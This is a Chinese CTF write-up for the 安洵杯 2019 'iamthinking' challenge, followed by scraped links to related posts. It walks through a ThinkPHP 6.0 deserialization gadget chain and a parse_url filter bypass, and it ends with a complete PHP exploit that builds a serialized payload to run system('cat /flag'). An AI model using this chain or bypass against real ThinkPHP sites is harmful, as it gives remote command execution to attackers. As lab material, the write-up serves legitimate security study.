[安洵杯 2019]iamthinking
/www.zip下载源码审计
通过README可以看到是ThinkPHP6.0。
当前只能访问到/public/index.php,
关于这个框架的index.php 【thinkphp6源码分析一 】 最开始的地方 index.php - 转瞬千年 - 博客园
全局搜索一下unserialize,发现在app/controller/Index.php下存在着反序列化的地方。
存在过滤,通过parse_url的缺陷绕过: parse_url小结 - tr1ple - 博客园
- 在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false来bypass,参数中包含的payload依然存在
- compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据
同时payload参数可控,通过GET方式就能传递到。
接下来要找反序列的点,参考:[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 - op_hxc - 博客园 mysql 反序列化_从一道CTF题目中学习ThinkPHP反序列化_weixin_39710361的博客-CSDN博客 两篇博文进行审计
当然已经有大佬写了现成的工具https://github.com/wh1t3p1g/phpggc
不过还是希望能自己掌握框架代码审计这些代码量巨大的项目
全局搜索__destruct(),依次查看,Mongo处无法利用free,close都无法利用,只是释放参数,connection处同理。
看向Model.php,跟进save函数
不能让这返回false,即需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。看到isEmpty函数
this->data
不为空即可,跟进tigger:
让$this->withEvent为flase即可。
回到save函数,跟进upadteData方法。
protected function updateData(): bool { // 事件回调 if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); // 获取有更新的数据 $data = $this->getChangedData(); if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 检查允许字段 $allowFields = $this->checkAllowFields(); foreach ($this->relationWrite as $name => $val) { if (!is_array($val)) { continue; } foreach ($val as $key) { if (isset($data[$key])) { unset($data[$key]); } } } // 模型更新 $db = $this->db(); $db->startTrans(); try { $where = $this->getWhere(); $result = $db->where($where) ->strict(false) ->field($allowFields) ->update($data); $this->checkResult($result); // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } $db->commit(); // 更新回调 $this->trigger('AfterUpdate'); return true; } catch (\Exception $e) { $db->rollback(); throw $e; } } |
跟进这个checkAllowFields()
发现字符拼接,可被利用触发__toString。
进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];
同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。
所以为了能让这个方法被调用到,我们要让exists存在.
即 $this->exists =True
全局搜索toString魔术方法,在Conversion.php当中。
继续查看tojson这个函数:
跟进到toArray方法。
public function toArray(): array { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); } return $item; } |
再看到getAttr方法:
跟进getData方法:
进入到getRealFieldName方法:
如果$this->strict为True,返回$name。
此时再getData方法中:
$this->data[$fielName] = $this->data[$key]
此时再getAttr中就是: $this->getValue($key, $value, null);
跟进getvalue:
protected function getValue(string $name, $value, $relation = false) { // 检测属性获取器 $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { //$fieldName = a //withAttr[a] = system $closure = $this->withAttr[$fieldName]; //value = system(ls,) $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { if ($relation) { $value = $this->getRelationValue($relation); } $value = $this->$method($value, $this->data); } elseif (isset($this->type[$fieldName])) { // 类型转换 $value = $this->readTransform($value, $this->type[$fieldName]); } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { $value = $this->getTimestampValue($value); } elseif ($relation) { $value = $this->getRelationValue($relation); // 保存关联对象值 $this->relation[$name] = $value; } return $value; } |
is_array($this->withAttr[$fieldName])只要这里不成立就会触发到最后命令执行的点,即$this->withAttr[$fieldName]不为数组即可
最终是执行了system("ls", ["xxx"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的
最终利用链:
think\Model --> __destruct() think\Model --> save() think\Model --> updateData() think\Model --> checkAllowFields() think\Model --> db() 后半部分利用链(同tp 5.2后半部分利用链) think\model\concern\Conversion --> __toString() think\model\concern\Conversion --> __toJson() think\model\concern\Conversion --> __toArray() think\model\concern\Attribute --> getAttr() think\model\concern\Attribute --> getValue() |
Exp:
<?php namespace think\model\concern { trait Conversion { } trait Attribute { private $data; private $withAttr = ["xxx" => "system"]; public function get() { $this->data = ["xxx" => "cat /flag"]; } } } namespace think{ abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave; protected $withEvent; private $exists; private $force; protected $field; protected $schema; protected $table; function __construct(){ $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->field = []; $this->schema = []; $this->table = true; } } } namespace think\model{ use think\Model; class Pivot extends Model { function __construct($obj='') { //定义this->data不为空 parent::__construct(); $this->get(); $this->table = $obj; } } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b)); } |
http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=
提交即可
[安洵杯 2019]iamthinking相关推荐
- BUUCTF [安洵杯 2019]easy_serialize_php
考点: 变量覆盖.反序列化中的对象逃逸 题目地址:BUUCTF在线评测 源码如下: <?php$function = @$_GET['f'];function filter($img){$fil ...
- 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码
题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...
- [安洵杯 2019]吹着贝斯扫二维码
[安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...
- BUUCTF:[安洵杯 2019]不是文件上传
这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...
- 【安洵杯 2019】easy-web
涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...
- [安洵杯 2019]Attack (详细解析)
(*本文使用工具,均为windows系统,这些工具kali系统自带,有的人不喜欢用kali系统,主页有windows下载资源) 题目链接: https://buuoj.cn/challenges#[% ...
- 第二届安洵杯2019部分writeup
Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...
- BUUCTF:[安洵杯 2019]吹着贝斯扫二维码
题目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]%E5%90%B9%E7%9D%80%E8%B4%9D%E6% ...
- [安洵杯 2019]easy_web 1
打开环境 源码中只有一个md is funny 然后URL有一个img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= 先试试模板注入发现不行,然后伪协议也不行,再爆破目录也 ...
最新文章
- C#将WebBowser控件替换为Chrome内核
- stm32正交编码器 原理图_恶劣环境下应用的电感式增量编码器和绝对编码器
- 这是一篇测试博文的文章
- 创建ASP.NET Core MVC应用程序(3)-基于Entity Framework Core(Code First)创建MySQL数据库表
- 【正则】正则表达式基础知识大全
- 潍坊OA:通达OA协同办公标准解决方案
- TSX指令集之RTM无锁并发能加快速度吗?与mutex加锁比较
- GB35114-SIP部分技术预研
- 网易云IM(即时通讯) 互动直播集成
- php爬虫框架选用什么
- Android 选择文件(调用系统文件管理器)
- 山东大学项目实训(三十二)—— 科室管理
- 马云登陆雅虎首次发表演讲稿全文。
- 指定TabLayout的指示器宽度
- 使用 mysql_use_result 还是使用 mysql_store_result
- TMC260系列电机驱动芯片应用介绍
- 网站建设需要注意哪些(网站建设流程)
- 一个简易的c语言病毒源码
- 大数据系统的学习路径、思维导图
- 论如何打开.md文件
热门文章
- 浅浅的计算机网络知识
- 高通滤波法、微分算子法、神经网络方法实现图像边缘检测
- 使用 Vue3 + vite + elementUI 开发一个 Utools Markdown 编辑器插件
- vue+xlsx实现表格的导入导出:
- 五月的仓颉-四年努力,梦归阿里,和大家聊聊成长感悟
- SharePoint网站集功能介绍
- http://www.3lian.com/edu/2014/01-25/126892.html
- 【微信小程序】自定义加载动画
- macOS Ventura 13.4.1 (22F82|22F2083) 正式版发布,ISO、IPSW、PKG 下载
- 使用电信 TR069 内网架设 WireGuard 隧道异地组网